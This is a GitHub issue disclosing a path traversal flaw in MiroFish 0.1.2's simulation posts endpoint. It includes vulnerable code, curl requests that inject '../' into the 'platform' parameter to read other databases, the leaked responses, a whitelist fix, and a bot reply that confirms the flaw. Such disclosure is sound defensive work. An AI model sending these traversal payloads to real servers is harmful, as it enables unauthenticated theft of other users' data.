New issue

MiroFish Arbitrary SQLite Database Read #489

Open

yidaozhongqing opened 3 weeks ago

MiroFish Arbitrary SQLite Database Read via Unvalidated `platform` Query Parameter

Vulnerability Information

Field	Value
Product	MiroFish
Version	0.1.2
Vulnerability Type	Path Traversal / Arbitrary Database Read
Severity	High
CVSS v3.1 Score	7.5 (High)
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE	CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected Component	`backend/app/api/simulation.py:2004` (`get_simulation_posts()`), `backend/app/api/simulation.py:2080` (`get_simulation_comments()`)
Discovery Date	2026-04-07

Summary

The `GET /api/simulation/<simulation_id>/posts` and `GET /api/simulation/<simulation_id>/comments` endpoints in MiroFish v0.1.2 use the `platform` query parameter directly in SQLite database file path construction without any validation. The `platform` value is interpolated into the filename as `f"{platform}_simulation.db"`. An attacker can inject `../` sequences into `platform` to open and query **any SQLite database** ending with `_simulation.db` from any directory on the server.

This is a distinct vulnerability from CVE-03 (simulation_id traversal) because:

- **Different parameter**: `platform` (GET query string) vs `simulation_id` (JSON body)
- **Different input vector**: GET query parameter — no POST body needed, exploitable via simple URL
- **Different impact**: Reads full database table contents (posts, comments, counts) vs limited JSON file fields
- **Different code location**: `simulation.py:2004` vs `simulation.py:258`

Root Cause

In `backend/app/api/simulation.py:1994-2005`:

```
@simulation_bp.route('/<simulation_id>/posts', methods=['GET'])
def get_simulation_posts(simulation_id: str):
    platform = request.args.get('platform', 'reddit')  # User-controlled, NO validation

    sim_dir = os.path.join(
        os.path.dirname(__file__),
        f'../../uploads/simulations/{simulation_id}'
    )

    db_file = f"{platform}_simulation.db"     # platform injected into filename!
    db_path = os.path.join(sim_dir, db_file)  # Path traversal via platform

    conn = sqlite3.connect(db_path)           # Opens arbitrary DB
    cursor.execute("SELECT * FROM post ORDER BY created_at DESC LIMIT ? OFFSET ?", (limit, of
```

The `platform` parameter:

- Comes from `request.args.get()` — a GET query string parameter
- Has **no whitelist** check (should only be `twitter` or `reddit`)
- Is interpolated directly into the filename via f-string
- Can contain `../` path traversal sequences

Reproduction

Environment

- MiroFish 0.1.2, default configuration, backend on `http://localhost:5001`

Prerequisites

The application must be running. No API keys or authentication are required.

```
cd /path/to/MiroFish-0.1.2
npm run dev
# Backend starts on http://localhost:5001
```

Step 1: Create Test Data — Victim's Simulation Database

This simulates a real scenario where another user has run a simulation that generated posts in a SQLite database.

```
cd backend

# Create victim's simulation directory
mkdir -p uploads/simulations/sim_victim_real

# Create and populate the victim's SQLite database with sensitive simulation data
python3 -c "
import sqlite3, os

db_path = 'uploads/simulations/sim_victim_real/reddit_simulation.db'
conn = sqlite3.connect(db_path)
c = conn.cursor()

# Create the 'post' table (same schema used by OASIS simulation engine)
c.execute('''CREATE TABLE post (
    id INTEGER PRIMARY KEY,
    content TEXT,
    user_id INTEGER,
    created_at TEXT
)''')

# Insert simulated posts (representing victim's private simulation results)
c.execute(\"INSERT INTO post VALUES (1, 'CEO内部决策：明天宣布裁员30%', 100, '2026-01-01')\")
c.execute(\"INSERT INTO post VALUES (2, '财务预测：Q2收入下降40%，尚未公开', 101, '2026-01-02')\"

conn.commit()
conn.close()
print(f'Victim DB created at: {os.path.abspath(db_path)}')
print(f'DB size: {os.path.getsize(db_path)} bytes')
"
```

Verify the database was created:

```
ls -la uploads/simulations/sim_victim_real/reddit_simulation.db
# -rw-r--r--  1 user  staff  8192 Apr  7 15:39 reddit_simulation.db
```

Step 2: Create Test Data — Attacker's Simulation Directory

The attacker needs an existing simulation directory as the starting point for the traversal. In a real deployment, the attacker would use their own legitimate simulation ID.

```
# Create attacker's empty simulation directory
mkdir -p uploads/simulations/sim_attacker
```

Verify directory structure:

```
ls uploads/simulations/
# sim_attacker/
# sim_victim_real/
```

Step 3: Exploit — Read Victim's Posts via `platform` Traversal

The attacker sends a single GET request, using `platform=../sim_victim_real/reddit` to traverse from their own simulation directory to the victim's database:

```
curl -s "http://localhost:5001/api/simulation/sim_attacker/posts?platform=../sim_victim
```

Response:


```
{
    "data": {
        "count": 2,
        "platform": "../sim_victim_real/reddit",
        "posts": [
            {
                "content": "财务预测：Q2收入下降40%，尚未公开",
                "created_at": "2026-01-02",
                "id": 2,
                "user_id": 101
            },
            {
                "content": "CEO内部决策：明天宣布裁员30%",
                "created_at": "2026-01-01",
                "id": 1,
                "user_id": 100
            }
        ],
```

```
        "total": 2
      },
      "success": true
    }
```

The attacker successfully read all posts from `sim_victim_real`'s database via a single unauthenticated GET request.

Path Resolution Explanation

```
sim_dir  = uploads/simulations/sim_attacker/
platform = ../sim_victim_real/reddit
db_file  = ../sim_victim_real/reddit_simulation.db
db_path  = uploads/simulations/sim_attacker/../sim_victim_real/reddit_simulation.db
resolved = uploads/simulations/sim_victim_real/reddit_simulation.db   ← victim's DB!
```

Step 4: Extended Exploit — Read Database from Completely Different Directory

Create a database at a path completely outside the `simulations/` directory:

```
# Create a sensitive database outside the simulations directory
mkdir -p uploads/sensitive_area

python3 -c "
import sqlite3, os

db_path = 'uploads/sensitive_area/secrets_simulation.db'
conn = sqlite3.connect(db_path)
c = conn.cursor()
c.execute('CREATE TABLE post (id INTEGER PRIMARY KEY, content TEXT, user_id INT, created_at T
c.execute(\"INSERT INTO post VALUES (1, 'TOP_SECRET_API_KEY=sk-1234567890abcdef', 1, '2026-01
c.execute(\"INSERT INTO post VALUES (2, 'DATABASE_PASSWORD=P@ssw0rd!', 2, '2026-01-01')\")
conn.commit()
conn.close()
```

```
print(f'Sensitive DB created at: {os.path.abspath(db_path)}')
"
```

Exploit — traverse two levels up from `simulations/` to reach `uploads/sensitive_area/`:

```
curl -s "http://localhost:5001/api/simulation/sim_attacker/posts?platform=../../sensiti
```

Response:


```
{
    "data": {
        "count": 2,
        "platform": "../../sensitive_area/secrets",
        "posts": [
            {
                "content": "TOP_SECRET_API_KEY=sk-1234567890abcdef",
                "created_at": "2026-01-01",
                "id": 1,
                "user_id": 1
            },
            {
                "content": "DATABASE_PASSWORD=P@ssw0rd!",
                "created_at": "2026-01-01",
                "id": 2,
                "user_id": 2
            }
        ],
        "total": 2
    },
    "success": true
}
```


Cleanup

```
rm -rf uploads/simulations/sim_victim_real
rm -rf uploads/simulations/sim_attacker
rm -rf uploads/sensitive_area
```

Affected Endpoints

Endpoint	Method	Vulnerable Parameter	SQL Tables Read
`/api/simulation/<id>/posts`	GET	`platform` (query string)	`post` — full content, user_id, timestamps

Endpoint	Method	Vulnerable Parameter	SQL Tables Read
`/api/simulation/<id>/comments`	GET	`platform` (query string)	`comment` — full body, post_id, user_id

Impact

Cross-Tenant Simulation Data Theft

Any user can read the complete simulation database (all posts and comments) of any other user's simulation via a simple GET request:

```
GET /api/simulation/{any_sim_id}/posts?platform=../victim_sim_id/reddit
```

Stolen data includes:

- **All simulated posts** — full content generated by LLM agents
- **All simulated comments** — interaction content between agents
- **User IDs and timestamps** — activity mapping
- **Post counts** — total simulation scale

No Authentication Required

The exploit requires only a GET request with no cookies, tokens, or credentials.

Wider Database Access

If any other component stores data in SQLite databases with the `_simulation.db` suffix anywhere on the filesystem, those databases are also readable.

Remediation

Immediate Fix: Whitelist `platform` Parameter

```python
ALLOWED_PLATFORMS = {'twitter', 'reddit'}

@simulation_bp.route('/<simulation_id>/posts', methods=['GET'])
def get_simulation_posts(simulation_id: str):
    platform = request.args.get('platform', 'reddit')
```

```
    if platform not in ALLOWED_PLATFORMS:
        return jsonify({"success": False, "error": "Invalid platform"}), 400

    # ... rest of function
```

Apply the same whitelist to the `/comments` endpoint.

dosubot bot 3 weeks ago – with DosuBot

Hi @**yidaozhongqing**! I'm Dosu and I'm helping the MiroFish team.

Thanks for the detailed report. I can confirm the `platform` path traversal vulnerability in `get_simulation_posts()` — the parameter is used directly in database path construction with no validation [1].

One correction: the `get_simulation_comments()` function actually **hardcodes** the database path as `reddit_simulation.db` rather than accepting a `platform` parameter [2], so it is not vulnerable to this specific attack vector.

This is a known class of issue in the codebase. Issue #306 reported path traversal via unsanitized IDs (including `simulation_id` and `platform`) back in March 2026, and there are two open PRs addressing it:

- **PR #307** — sanitizes user-supplied IDs using `os.path.basename()` validation
- **PR #228** — takes a broader approach with a dedicated `validators.py` module (`validate_safe_id()`, `validate_path_within()`)

Neither has been merged yet.

Notably, the same `simulation.py` file already implements proper platform whitelisting in other endpoints — for example, the interview endpoints validate `platform not in ("twitter", "reddit")` [3], and the `/api/simulation/start` endpoint checks against `['twitter', 'reddit', 'parallel']` [4]. The `get_simulation_posts()` function simply missed this validation.

Your proposed whitelist fix is the right immediate approach and is consistent with what's already done elsewhere in the file. Merging one of the open PRs (#307 or #228) would also address this alongside the related `simulation_id` traversal issues. This is further compounded by the lack of authentication on all API endpoints (Issue #487).

To reply, just mention @dosu.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants